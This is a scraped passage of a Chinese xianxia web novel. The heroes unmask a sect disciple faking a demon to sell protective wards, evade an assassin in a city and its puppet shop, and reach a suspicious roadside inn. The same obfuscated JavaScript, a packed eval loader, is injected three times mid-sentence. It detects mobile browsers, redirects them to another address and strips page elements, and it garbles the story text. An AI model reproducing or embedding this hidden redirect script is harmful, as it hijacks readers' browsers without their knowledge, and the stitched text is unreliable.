,贺强忍不住嘿嘿笑了一声,又赶紧板起脸:“仙师别看她年纪小,调皮得很,我跟她阿娘一个没盯住人就跑没影了。时候不早了,我该带她回去睡觉了。” 暗河挥手向阿宁道别,一直目送那道小小的身影走远。李恕看在眼里,起了坏心:“神仙哥哥,你很喜欢小孩子吗?” “嗯,阿宁很可爱。” “那你也生一个。” “我?我要怎么生?” 暗河被问得愣住,李恕捧腹大笑:“我说着玩儿的,你怎么还当真了?” “……” 李恕一直都喜欢和他开玩笑,这也不是第一次了,暗河放弃了为自己辩解。 “不知道今晚夜魔会不会出现?” 李恕敛去笑意,转头看向门外:“他已经出现了。” 村子被包裹在无边夜色之中,屋内的烛火只能照亮方寸之地,烛火以外的地方,有什么东西悄悄靠了过来。 暗河握剑在手,与此同时一阵狂风刮进屋内,最后一点光亮也被夜色吞入腹中,呼啸的风声里响起一串诡异的笑声:“桀桀桀桀桀桀,桀桀桀桀桀桀……” 日落之前李恕已经嘱咐过众人,无论夜里听见什么声音都不要出来。 “在哪里?在哪里?”夜魔的声音又尖又细,仿佛在用利器刮擦铁板,听得人浑身难受,“桀桀桀桀桀桀,别躲了出来吧……” 随着声音渐渐逼近,防护阵亮了一瞬,夜魔的样子一闪而逝。 他的身材又瘦又长,大约有一个半人高,一身宽大的黑色斗篷从头遮到脚,斗篷下的双手十指尖尖,还在滴血。 “怎么回事?”夜魔的笑声停了下来,声音变得惊慌失措,“该死,这里有一道防护阵!” 夜魔气急败坏,两手挠在防护阵上,受到攻击的防护阵不停亮起,始终没让夜魔前进一步。 “可恶!可恶!要是没有这道防护阵,我一定把你们的心肝脾肺肾都挖出来吃掉!” 嚎叫了半天,夜魔无计可施,不得不撂下一句狠话:“你们给我等着!我一定会再回来的!” 说罢夜魔转身欲走,不想迎面飞来一剑,惊得他匆忙躲避,胸口却仍然被划开一条口子。 “谁?”夜魔大惊,连声音都变了调。暗河不与他废话,提剑便上。 “你到底是谁?”夜魔左支右绌,他的身形虽然纤长,动作却不算灵活,根本招架不住暗河的攻击,很快身上就多了七八道伤。 “爹的!真以为我打不过你吗?”夜魔气急败坏,两手一甩,竟然甩出七八道符箓,砰砰砰的炸了起来。 暗河退开几步,直觉不对,还没等他想明白问题出在哪里,只见夜魔右手指尖一闪,身体瞬间消失了一半。 不好,他要融入夜色了吗? 不等暗河提醒,李恕已经掠到夜魔身后,一掌劈了下去。夜魔发出一声惨叫,缩小的身体又恢复了原来大小。 李恕欺身而上,踩住夜魔右手,一把扯下了他的斗篷。看清夜魔的脸,暗河不由得拧紧眉头:“怎么是你?” 8. 紫竹 “夜魔”右手握着一张没烧完的符箓,他不是要融入夜色,而是想用传送符逃跑。 被人揭开斗篷,“夜魔”下意识捂住脸,不过已经晚了。暗河表情严肃:“齐玉,你为什么要假扮夜魔?” “我不是,我不知道你在说什么……”齐玉的狡辩苍白无力,他这张脸暗河白日才见过,怎么可能认错? 回想起当时发生的种种,暗河心中浮现出一个难以置信的猜测:“你们假扮夜魔吓唬村民,就是为了逼他们高价买防护阵?” “不是的,我、我……我警告你!马上放我回去,不然让我师兄知道你们就完蛋了!”齐玉解释不清,干脆搬出赤霞派的名头压人。 李恕脚下用力,齐玉顿时又发出一声惨叫:“我的手!啊,放开我!我的手要断了!” “别着急,还没断呢,不过你要是坚持不说实话,那接下来会不会断我就不敢保证了。”李恕稍稍放松力度,居高临下看着齐玉,“你准备好以后用一只手了吗?” 齐玉浑身冷汗,一半是痛的一半是吓的,李恕没给他太多时间,开始倒数:“三,二……” “我说!我说!”齐玉不敢拿自己的手去赌,咽了口唾沫紧张道,“是罗师兄让我这么做的……” 罗源泽虽然负责掌管铺子,但是账目还要交给宗门过目,所以即便生意红火,钱也没法落进他的腰包,收入其实有限。加之他喜欢花天酒地,在同门面前打肿脸充胖子,实际上早就入不敷出了。 时间久了,罗源泽开始动歪脑筋。卖给修士的防护阵不好做手脚,但是卖给普通百姓就不用考虑那么多,他们又不懂里面的弯弯绕绕,用淘汰的废品做阵眼就行,问题是怎么让普通百姓买呢? 罗源泽精挑细选,挑中了夜魔,一个既在人界作乱留下恶名又多年不曾出现的魔族,威逼利诱齐玉和他一起演戏,骗到钱后再分他一些。 暗河面露愠色:“你们太过分了,身为修士不仅不保护百姓,反而还弄虚作假从他们身上敛财。” 齐玉赶紧摇头:“我本来也不想干的,都是罗师、罗源泽逼我的!我只是个小小的外门弟子,他却是掌门爱徒,如果不听他的我在赤霞派就没法呆了,我也是没办法啊!” “那你跟我去向百姓揭发他,告诉大家真相,然后把钱退给被你们骗了的人。” “不行,不行不行不行……”齐玉支起半个身子,用力抓住暗河的衣摆,“你这不是要我的命吗?我去揭发罗源泽他就会认罪吗?他只会把罪名都推到我身上,到时候罗源泽顶多受点责罚,可是我就惨了!” 暗河没说话,齐玉挤出眼泪:“两位仙师,我知道我错了,知错能改善莫大焉,你们就饶过我这一次吧,我保证以后再也不会做了……我还会把钱还给那些百姓,我自掏腰包行不行?求求你们了。” 暗河顿了片刻:“你们做了错事,必须承担责任。” 齐玉的脸白了下来,暗河不再多言,将衣摆从他手中抽走,转而去和李恕商量:“既然罗源泽不会认罪,那我们直接去赤霞派。” 李恕挑了挑眉,不置可否。齐玉看着两人,忽然发出一声怪笑:“你们是不是觉得自己特别正义?这件事到底跟你们有什么关系?逼死我对你们有什么好处?” 两人没答话,齐玉破罐子破摔,猛地把手从李恕脚下抽出来,坐在地上大吼:“你们要去赤霞派告发我,好啊,你们去啊!这个世界需要你们这种高风亮节的人,那你知不知道也需要我这种卑鄙小人,不然怎么衬托你们的伟大?哈哈,难道你们没做过任何一件坏事吗?我猜你们跟紫竹峰一定很有话说吧,因为你们跟她们一样假清高,恶心!” 李恕转头看向齐玉,不知怎地,齐玉瑟缩了一下,随后硬着头皮瞪了回去:“难道我说错了吗?紫竹峰出了个人尽皆知的叛徒李问心,恬不知耻苟合魔族,活该被挂在耻辱柱上唾骂一辈子,紫竹峰如果要脸早就该羞愤自杀了!可是她们不仅没有,反而威胁别人不准提起,笑死人了!” 李恕声音平静:“你说什么?” 她这一句问的突然,齐玉一时没反应过来:“我说……” “砰!”残影掠过,齐玉口鼻中满是鲜血,趴在地上动弹不得。李恕收回脚,抓住齐玉的头发将他拎起来,逼着他与自己对视。 “你刚才说什么?” “……咳咳!”齐玉说不出话,脑袋被李恕那一脚踢得嗡嗡作响,刚一张嘴便呕出一口鲜血。李恕的面容近在咫尺,眼神平静到冷漠:“再让我从你嘴里听见‘李问心’三个字,我就杀了你。” 说罢李恕松开手,齐玉再次摔到地上,扑腾了两下,彻底没了声息。 暗河被李恕的反应惊到:“你怎么了?” 李恕擦了擦手,从怀里拿出一颗留影珠:“没怎么,不想听他狗叫罢了。你不是想揭发他吗?走吧。” 暗河察觉到李恕情绪不对,只是李恕不想对他多说,他也不好多问,于是将倒地不起的齐玉扛在肩上,跟着李恕走向村外。 不过没走多久,暗河还是忍不住开口问她:“你还好吗?” “我很好。” “我一开始以为你来这里是想抓住夜魔,但是现在我觉得你好像早就知道夜魔是假的了。” “我确实早就知道了,他俩的谎言漏洞百出。” “什么漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107633|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞?” 李恕碾碎脚下一颗石子,随意答道:“第一,夜魔是高等魔族,不吃血肉只吃生魂;第二,夜魔已经灭绝了。” 朝阳初升,晨雾犹在,空气中带着丝丝缕缕的凉意,放眼望去长街上人并不多,大多数店铺还没开门,但有一处却是例外。 赤霞派的铺子外围了好几圈人,议论声不绝于耳,大多是“卑鄙无耻”“知人知面不知心”“道德败坏”之类的话,偶尔掺杂几句呜咽。 罗源泽接到消息匆匆赶来,推开人群一看,齐玉还穿着那身假扮夜魔的黑袍,鼻青脸肿地被倒吊在门口,嘴里衔着一颗由晶石打磨而成的留影珠,正不停地播放一段影像。 这颗留影珠的质量不错,画面与声音都极为清晰,正是昨天晚上齐玉被揭了斗篷躺在地上痛哭流涕的自白:“我本来也不想干的,都是罗师、罗源泽逼我的!我只是个外门弟子……” 见此情景,罗源泽的热血轰的一声冲上大脑,但他立刻冷静了下来,冲上前去从齐玉嘴里抠出留影珠,一把捏碎,然后对着人群大声道:“假的!这都是夜魔的诡计!诸位千万不要被骗了!” 人群七嘴八舌,指指点点,并不相信罗源泽的话。毕竟那段影像拍的清清楚楚,比罗源泽的一面之词可信多了。 “这是你们店里卖的留影珠吧,你说是假的,岂不正好说明你们卖假货?” 该死的刁民!罗源泽咬紧牙关,极力维持彬彬有礼的模样:“在下行得正坐得端,所售法阵童叟无欺,绝不可能做出这种事情。诸位散了吧,我一定会抓住夜魔证明清白。” 强行驱散人群,罗源泽拎着齐玉进了铺子,刚一关门,他便把齐玉狠狠丢在地上,骂道:“蠢货!这是怎么回事?” 齐玉瑟瑟发抖,顾不得身上疼痛,匍匐在罗源泽的脚下:“罗师兄,我、我在下沙村碰见两个散修,都是他们逼我说的方才那段话……” “什么散修?” “我不知道,我根本就不认识他们!那两个人一男一女,男的穿白衣服女的穿黑衣服,我不是他们的对手。” 罗源泽攥紧拳头,满腔怒火无处发泄,正要一脚踹到齐玉身上,身旁一人忽然啊了一声。 这人便是那天向李恕推销法阵的伙计,听见齐玉的描述,他立刻想到了李恕与暗河。 “罗师兄,我好像知道他们是谁。” 铺子里安放了许多留影珠,原本是为了避免买卖出现纠纷用来保存证据的,如今正好可以查看李恕来店中的情景。 看着画面中那一黑一白两道身影,罗源泽的眼底爬上杀意。好,好得很,敢在他的头上动土,这两个人胆子不小啊。 9. 追杀 继续往东北方向走,赤霞派本宗越来越近,大街上也越来越热闹,车水马龙,叫卖声不绝于耳。 没走几步,忽然有人扑通一声跪到李恕面前。他一手拄拐一手端碗,衣衫褴褛,头发蓬乱,两只眼睛浑浊不清,凄凄惨惨地向李恕讨钱。 “行行好吧!我是个可怜至极的瞎子,已经整整三天没吃饭了,马上就要饿晕过去。求两位赏我几个铜板,让我吃上一口热饭。” “好的。”李恕点头答应,随手抓了一把空气放入碗中,然后继续走路。 男人急了:“你没给啊。” 李恕一脸无辜:“你也没瞎啊。” “……”骗不到李恕,男人气鼓鼓地走了,很快消失在川流不息的人群中。 暗河默默把想说的话咽了下去……他刚才差点就信了。 逛了半晌,李恕决定找个地方吃饭,顺便补充一下干粮,只听扑通一声,又有一个人跪了过来。 “行行好吧!我家里已经穷得揭不开锅了,求两位大发慈悲赏我几个铜板,好让我八十岁的老母和三岁的小儿吃上一口热饭!” 来人赤着上身,头顶破布满脸黑灰,腰后插着一根拐杖,两手捧着破碗上下摇动。听他说的可怜,暗河又想伸出援手,可是越看越觉得这人眼熟——他不就是刚才的瞎子吗?哦不对,是骗子。 “好的。”李恕再次答应下来,并且真的在男人碗里丢了几块铜板。 男人大喜:“谢谢谢谢!两位真是菩萨心肠,好人一生平安!”随后迫不及待逃离行骗现场。 暗河十分不解:“你应该看得出来,他是先前那人乔装打扮了一番吧?” “嗯。” “那你为什么还要给他钱?” “没给。”李恕用指尖勾住一只皱巴巴的钱袋,转了两圈。这个骗子骗术不行,毅力倒强,颇有不骗到李恕不罢休的架势,所以李恕摸了他的钱袋,用他的钱把他打发走了。 暗河反应过来哭笑不得,又觉得李恕的处理方式很有趣,或许让骗子也尝尝被骗的滋味,他就能体会到这是不对的了。 进了酒楼,李恕一贯爱坐临窗雅座,这次也不例外,选在二楼居高望远的位置。小二见他们气度不凡,赶紧过来招呼。等到李恕点了一桌招牌好菜,又要了一壶好酒,小二喜滋滋地退了下去。 李恕边吃边打量暗河,这人口味淡得很,几乎不碰辣菜,酒也不喝。偏偏这家酒楼的特色就是辣,因此暗河一直吃的都是桌上唯一那盘素炒青菜。 菜是李恕点的,暗河全程没发表任何意见,那她当然以为暗河也吃辣喽。 “小二,再上几盘清淡的菜。” 小二答应一声,又问李恕:“客官觉得这些菜不合口味?” “没有,你们家的菜味道不错,让我很想再尝尝别的。” “哦,客官真有眼光,马上就来!”问出来李恕不是对饭菜有意见,小二麻溜跑下楼,没过几秒又浑身僵硬地退了回来。 “客、客官,你们这是什么意思?”小二举起双手,他的鼻尖前方戳着一把雪亮的长刀。握刀的人身如山岳,一双眸子如死水般不带感情,却是在看李恕。 李恕端着酒杯,故意打趣小二:“原来你说的‘马上就来’是这个马上呀。” 小二冷汗涔涔,硬着头皮哈了一声:“不,不是我说的......” “是我说的!”杀手背后蹿出一道干瘦人影,正是先前装瞎的骗子,这会儿他眼也不瞎了腿也不软了,对着杀手大献殷勤,“大爷,您要找的是不是这俩人?” “是。” “嘿嘿,我就说跟我来准没错!那您答应我的钱......” 杀手抛出银子,眼神没有一丝波动:“滚。” “没问题,我这就滚。”骗子接了钱忙不迭滚了。 杀手移开长刀,对小二道:“你也滚。” “......”小二退到一旁,楼上的食客也仿佛得了赦令,一窝蜂跑出去。下一刻杀手身形闪动,瞬间移到李恕面前一刀斩下! 没有想象中的鲜血飞溅,小二双手抱头从胳膊肘下偷看一眼,发现李恕仍旧端坐不动,那一刀被暗河手持木剑,四两拨千斤地改了方向。 暗河沉声问他:“你是谁?” 杀手不答,意识到暗河不好对付便不再保留实力,刹那间刀光满室,吓得小二破音大喊:“要打出去打!!!” 李恕脚下一点,坐着椅子向后滑了数寸,正好避开劈向她面门的长刀,不紧不慢把剩下半杯酒饮了,指尖一弹,酒杯炸成漫天碎片密密麻麻裹向杀手。 待到瓷片落下,杀手脸上身上都沁出不少血点子,再看李恕原来坐的位置,哪里还有半分人影。 暗河身姿优美,轻如白羽,靴子踩住瓦片稍一借力,瞬间便能飘出数丈之远。但即便如此,他也只能刚好跟上李恕。 两人身后杀手追得极紧,他行事毫无顾忌,遇到行人拦路直接撞开,遇到障碍物反手一刀,沿路全是此起彼伏的惊呼声。 暗河蹙眉:“街上人太多了,我们得把他引开,不能伤到无辜路人。” 李恕临空远望,城里好像在举办什么活动,到处都是行人,一时半会儿很难找到空旷的地方。杀手察觉到两人的顾虑所在,噼里啪啦甩出十几道雷符,竟是不管不顾地想把他们逼停下来。 暗河截住一道射向路边幼童的符箓,眼中现出几分怒气,李恕忽然一拉他的衣袖:“这边。” 暗河不作他想,跟着李恕飞上屋顶,几个起落之后落到另一条街。这里更加热闹,几乎到了人挤人的地步,而且他们并不知道一街之隔的地方发生了什么,即便看着杀手从天而降,也没有要躲开的意思,而是好奇地盯着他。 杀手握紧了刀,李恕两人已经隐入人群不见踪迹。 “你,有没有看见一个黑衣女人和一个白衣男人?” 被质问的倒霉路人缩了一下肩膀,面前的人凶神恶煞,一看就不好惹,他不敢说假话,指向旁边一座圆形高台:“他们去那里了。” 杀手抬眼一看,高台是此处最热闹的地方,台上站着一排修长人影,个个被一顶白色轻纱从头遮到脚。 那个白衣男人藏在里面?杀手撞开人群走过去,台上还站着一名身材娇小的女郎,腰上缠了一排大小不一的匕首,戴着黑色手套,正笑着对众人道谢。 “谢谢谢谢,谢谢各位父老乡亲赏脸,本店今日开门营业,所有人偶一律八折。”原来这女郎是一位人偶师,正在宣传她新开的人偶店。 围观群众兴致高涨,一边鼓掌一边让她赶紧把人偶的面纱揭开亮个相,给大家看看是不是真的栩栩如生,比真人还像真人。 “没问题,诸位请瞧好吧!”人偶师走到那排白衣人中间,随手拈住其中一人头上的白纱,用力一扬,人偶的真面目暴露在阳光下。 那是一个低眉阖眼的男性人偶,头发乌黑,皮肤红润而有光泽,嘴唇泛着浅浅的粉色,果然是漂亮极了。人群中顿时响起一片赞叹,还有人捂住心口:“天呐好俊哦,我要把他买回家。” 人偶师十分满意众人的反应,意味深长地补了一句:“本人从不偷工减料,他看不到的地方和看得到的地方一样精致哦。” 人群中响起哧哧的笑声,怂恿人偶师把其他人偶的面纱也揭开。 杀手站在台下,目光从人偶身上一一扫过,这白纱欲透不透,只能勉强看清人偶的身形,虽然与暗河有几分相似,但不能确定究竟是不是本人……不对,杀手目光一凛,最右边人偶衣摆下有一点焦黄之色,那是雷符留下的痕迹。 找到了!杀手径直奔向高台右侧,人偶师正在和群众热烈互动,见状柳眉一竖拦住他:“你干什么?” “让开。” 人偶师不让,反手捻住一把寒光闪闪的匕首:“我知道我做的人偶美若天仙,你想摸,先掏钱。” 双方僵持不下,围观群众站出来主持公道,对着杀手指指点点:“要不要脸,一个大男人当众欺负小姑娘,人家开门做生意的,你不掏钱横什么横?” 人偶师的匕首又往前送了两分:“没钱的话我就要请你离开了。” 杀手听着骂声面无表情,只是匕首抵在喉咙上,他不得不后退。一步,两步......尚未退出第三步,杀手忽然轰出一道灵力,打在最右边人偶身上。 这下可不得了,人偶皮肉炸开漫天飞扬,噼里啪啦砸在围观群众头上,众人一摸那皮肉,顿时起了一身鸡皮疙瘩,呼啦啦退开一大圈。这人偶的质感十分真实,但是坏也坏在太过真实,仿佛真的有个活人在自己面前炸的四分五裂。 “不是他?”杀手诧异,漫天皮肉没有掺杂一滴血迹,这确实只是人偶。 人偶师火冒三丈,制作一个人偶要费多大力这个蠢货知不知道?“爹的,今天姑奶奶不把你的皮剥下来我跟你姓!” 人偶师出手如电,唰唰唰掷出十几把匕首,恨不得把杀手扎成刺猬。杀手自然不会坐以待毙,立刻对她拔刀相向。人偶师接了几招落于下风,冷哼一声割破指尖,在半空中画出一道邪气横生的血符:“我可不会怕你!” 血符一出,原本安静的人偶齐刷刷睁开眼睛,一把掀了白纱扑向杀手。原来这女郎不是人偶师,而是傀儡师。 打成这样围观群众再也待不下去了,鸟兽一般四散逃命,新店开业自然也泡汤了。 一刻钟后,傀儡师带着伤痕累累的人偶回了店里,越想越觉得自己倒霉,修复这些人偶又要花一大笔钱,可她现在还没挣到钱呢。 店里同样站着一排人偶,白纱遮面身姿挺拔,傀儡师稍感安慰,还好没把人偶全带出去,最好的几个都留在了店里。 不对,傀儡师眉头一皱,她很清楚自己的人偶数量,店里的人偶多了一个,角落里的那个有问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107634|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 傀儡师放轻脚步,慢慢移动过去猛地扯掉白纱。 “啊!”傀儡师面上飞起两团红晕,心口砰砰直跳,“这真的是我做的吗?他也太好看了。” 面前的人偶也闭着眼,眉目极尽温柔,长睫垂落犹如蝶翼,下半张脸却扣着一副银白色的犬牙面具,硬生生在温和中插入几分狠戾,使得这幅面容格外勾魂夺目。 正在犹疑之际,人偶忽然睁开眼睛,看向傀儡师身后。傀儡师大惊,却听耳边传来似笑非笑的声音:“不好意思,这是我的人偶。” “你们是谁?”傀儡师如临大敌,摸出腰间利刃,随即又反应过来,“那个蠢货要找的人是你们?” “谢了。”李恕并不多做停留,扬手抛过去一只储物袋,携着暗河飞出窗外。 储物袋鼓鼓囊囊,入手颇沉,傀儡师虽然紧惕,但还是按捺不住好奇将其打开,瞬间受到了更大的冲击:可恶的有钱人!这里面竟然全是晶石,少说也有上千块了。 甩开扫兴的杀手,两人继续在城里闲逛。待到晚间,李恕沿着长坻观赏夜景,原来今日还有灯会,遂买了两盏河灯放入水中。 暗河目送着河灯缠缠绵绵漂远,在李恕身边坐下:“你许愿了吗?” “许什么愿?” “方才买灯的时候那位老伯说可以许愿。” “没有。”李恕盯着水面,一盏又一盏河灯从眼前飘过,河中浮起明明灭灭的光,“我不许愿。” 暗河颇为认同地点头:“无欲则无求。” 李恕哼笑一声,反问暗河:“是什么让你对我有了这种错觉?” “……你不是吗?” “当然不是,我不许愿是因为求神不如求己。” 暗河想了想,还是很认同李恕的观点,又引来李恕一阵笑。等她笑够,暗河说起白天的事:“那名杀手行事狠辣,不知是何来头?” “这有什么难猜的,想想我们才得罪了谁。” “……罗源泽?” 李恕乐不可支:“我们把影像直接投在店铺门口,他看见的时候一定快气死了。” 暗河心头沉重:“果然还是被你猜中了,即便我们当众揭穿了罗源泽,他还是会想方设法掩盖错误,甚至派杀手追杀我们,实在是……” “实在是厚颜无耻,道德败坏,对吧?”暗河不善骂人,李恕替他说了出来。 暗河默认了李恕的话:“希望他不会再继续欺瞒百姓。” “估计暂时不敢了,以后怎么样不好说。”李恕把手探入水中,轻轻推了一只被绊住的河灯,助它继续漂流。 河灯摇摇晃晃,也许是因为进了水,飘得十分艰难,好不容易才到河流正中,马上就可以顺流而下了,谁知一道激流逆向而来,水面上的河灯登时七零八落摔在地上。 那个杀手居然又追来了。 “阴魂不散。”李恕耐心耗尽,准备解决这只烦人的臭虫。暗河白天领教过杀手的作风,知道他不会顾及路人安危,不想与他动手。瞥见河岸上游那座七八层高的宝塔,暗河灵光一闪:“看那里。” 李恕早看见了,不过她既没有秒懂暗河的默契,也没有什么都不问就跟着暗河走的想法。情况紧急,暗河没法明说,拉住李恕飞向高塔。 高塔沿河而立,已经过了对外开放的时间,每一层都门窗紧闭。两人像是一黑一白两只飞鸟,踩着翘起的屋檐层层向上,很快就到了顶层。杀手穷追不舍,追到塔上。 李恕问暗河:“你做什么?” “逃跑。” “是吗?” “是的。” 李恕不说话了,比起教训杀手,她现在更想知道暗河如何逃跑。 人在廊下行动不便,又或许是暗河故意放慢了脚步,杀手越追越近。暗河避过雷符,一掌劈开身侧房门,直奔对面窗户。 窗外就是河面,因为此处没人放灯所以漆黑一片,夜风呼啸而过,吹得暗河的声音愈发低沉:“跳下去!” 李恕额角抽了抽:“这就是你逃跑的方法?” 杀手的脚步声近在咫尺,只见两道暗影一前一后扑向窗外,紧接着便是“扑通”两声入水的声音。 杀手想也不想,跟着跳了下去。 不速之客相继离开,宝塔终于恢复安静。片刻后李恕从房梁上跳下来,看着仍在微微震颤的纸窗,笑得快要打跌。 刚才他们根本没有跳河,只是随手抄了两只花瓶扔下去。杀手抓人心切,也没细看就跟着扎进河里,这会儿估计正在水里摸鱼吧哈哈哈哈哈! 暗河同样面带笑意,李恕撞了一下他的肩膀,满是戏谑:“没看出来,你还挺坏心眼。” “我是觉得他下手虽狠,但为人死板,所以想了这个办法,既不伤人又能把他甩开。” “没事,我夸你呢。” 李恕心情愉悦,等到杀手反应过来,她和暗河早出城了。 10. 野店 城外清净,但也有不好之处,比如现在李恕不得不考虑露宿荒野。 暗河温声安慰她:“我们不是买了露营阵吗?正好可以拿来用。” 李恕并没有被安慰到:“我想睡床。柔软的床。舒适的床。” 她是大户人家出身,露宿荒野确实太为难了。暗河想把外袍脱了给李恕垫在身下,没想到两人穿过树林之后,面前竟然现出一座两层客栈,孤零零地蹲在夜色中,门口一点微弱的灯光表明这店是开着的。 李恕一下子来了精神:“谁会在这种地方开客栈?不是有病,就是有鬼。走,过去看看。” 敲门之后,门内很快有人应了一声:“谁呀?” “赶路的,想住店。” 过了一会儿店门才开,一个女人站在门后,半张脸被提灯照亮,半张脸藏在黑暗中:“不好意思,小店已经住满了。” 这种地方,这种客栈,这种条件,竟然会有那么多人住? 看出来李恕不相信自己的话,老板赶紧对她解释:“今天店里来了一群和尚,每人都要了两间房,真的没空房了。” 一个人住两间?有趣。 李恕微微一笑:“那能不能让我们进去喝杯茶暖暖身子?夜里好冷。” 老板似乎不太情愿,不过到底没有拒绝,侧身让两人进去了。客栈里面更黑,只靠老板手里的提灯根本无法照亮。 李恕随便找了张桌子坐下,搓了个火花点燃烛台,发现桌子上依稀有些水迹,散发出淡淡的腥味。没等她再看,烛火晃了两下灭了。 老板干笑两声抢到桌边:“不好意思,蜡烛受潮了,你们用这个吧。”说着老板把提灯放到桌上,顺手抹去那片水迹。 “谢谢。”李恕只当没看见,把手伸向茶壶,一摸,都凉透了,“换一壶吧。” 老板擦擦额头不存在的冷汗:“呃,后厨没有热水,小店就我一个人实在忙不过来。” 李恕表示理解:“我可以自己去烧吗?” “不能!不不不,是不用,我去就行,我现在就去,两位坐好千万别乱跑啊。我没别的意思,只是楼上的客人都睡了,我怕吵到他们。” “好的。”老板下去之后,李恕冲着暗河抬了抬下巴,“你怎么看。” “从客人到老板都很不正常,方才桌上还有血水。” “恭喜,我们进黑店了,你猜后厨会不会藏着尸体?” “可我觉得老板并不想对我们下手。” 灯火昏暗,暗河的脸上仿佛遮了一层朦胧面纱,愈发美得不真实,李恕觉得无论这家店想谋财还是劫色,都不该放过暗河才对。 很快老板提着水壶回来了:“不好意思,来,客官快喝吧。” 开水倒进杯中,袅袅水汽随之浮起,老板看起来比两人更急,将杯子推到李恕面前:“喝吧喝吧。” 李恕道了谢,端起水杯慢慢送到唇边。老板大气也不敢出,死死盯住李恕,恨不得直接上手喂她。 终于,李恕张开了嘴,可是她的手一歪,茶水全都泼到了桌上。 “这是什么?”李恕指着一团黑乎乎的东西,正是从杯子里泼出来的。 老板定睛一看,竟是一团头发,顿时破口骂道:“这个死小鬼,叫他打个水都做不好!” 李恕咦了一声:“你不是说店里只有你一个人吗?” “是、是啊。”老板假笑许久的脸裂了一瞬,硬撑着道,“我说的是我儿子,我儿子,哈哈。头发也是我的,我最近脱发有点严重。” 李恕若有所思:“可是打水的是你儿子,你的头发怎么会掉进去。” “......”客栈里的气氛沉默得快要滴出水来,老板看起来已经编不下去了,直到楼梯口有人笑了一声打破尴尬。 三人齐齐转头望去,放寒山斜倚栏杆,精心露出半张侧脸。老板赶紧顺势转移话题:“客官怎么下来了,是有事吗?” “我睡眠浅,听见楼下有动静,想着是不是老板你需要帮助,所以下来看看。” 放寒山边说边走过来,耳上金环、腰间玉佩轻轻晃动。这幅打扮,根本不像被吵醒的样子。 老板才不在乎放寒山是真睡还是假睡,只想赶紧把人再劝回去:“哦没事没事,这两位客人进来讨口水喝,现在喝完准备走了。是吧?” 老板眼巴巴地看着李恕,不得不说,放寒山来的很是时候,李恕一看见他就想走了。 “是。” 老板大喜过望,马上准备送客,放寒山却拦住李恕:“深更半夜的,李仙师怎么不住一晚再走?难道是有什么不得了的急事?在下愿意为李仙师分忧解难。” 老板觉得不妙:“你俩认识?” 放寒山点头:“当然认识。” 李恕摇头:“不认识。” 放寒山喂了一声,装了半天的优雅瞬间破功:“你什么意思?认识我是什么很丢人的事吗?” 李恕面无表情,拉着暗河往外走:“真不认识。” “真不认识?”放寒山跟在两人身后,“那真是太可惜了,我定了两间房,本来想匀一间给你们,现在看来好像不用了。” 李恕停了下来,放寒山笑眯眯地凑到她跟前:“你们进来的目的还没达到吧?就这么走了难道不可惜吗?” 一刻钟后,在老板幽怨的目光中,放寒山带着两人上了楼。 “幻幻,开门。” “不开,我睡着了。” “快点儿。” 幻幻打开房门,本想看看放寒山又抽什么风,结果一眼看见了后面的李恕,瞬间噤若寒蝉。 放寒山靠在门口,冲李恕挑了挑眉,意思再明显不过:怎么样,这间房不错吧? 幻幻敢怒不敢言,这间客栈从外面看还挺阔气,谁知道里面的卫生出奇得差,桌椅上落了厚厚一层灰,他一刻不停收拾到现在,屁股还没焐热就被撵了出去。都怪放寒山,幻幻狠狠诅咒他一百八十遍。 “多谢放统领。”能在此地遇见放寒山,暗河略有几分惊喜,如今又得了他让出来的房间,自然要道谢。 “不客气。”放寒山摇摇扇子,风度翩翩。等到房门关上,幻幻立刻跳起来挂在放寒山身上掐他的脖子:“你又在浪什么?非要住这间客栈还不够,现在还把李恕带进来!” 放寒山用扇子敲他,走向对面的另一间房:“我在办正事。” “胡说八道,你明明在引狼入室!” 放寒山把幻幻撕下来丢到床上,反手合上房门:“我问你,我们此行的目的是什么?” 他的表情颇为认真,没了平时玩世不恭的浪荡样子,幻幻也不由得认真起来。 “我们接到玄隐门的委托,寻找他们离奇失踪的大弟子任流白。” 那日在芈府李恕不告而别,放寒山虽然不爽,但好歹血魔解决了,于是回了捕星司复命,并如实告知了斗篷人的事情。 掌司宴时萋没说什么,交给放寒山另一项任务:前不久,玄隐门大弟子任流白与两名同门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107635|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起带着小师妹前往昆仑城金鳞阁,取定制的羽衣护甲。路上几人碰见一个身形鬼魅的魔族,任流白担心其作乱危害百姓,率先追了上去。同门和小师妹紧随其后,等他们与任流白会合,却得知那个魔族已经被别人先一步拿下了。 几人继续赶路,于傍晚时分入城。顺利取到羽衣护甲后,几人在城中找了间客栈落脚,谁知第二天醒来任流白便离奇失踪了。 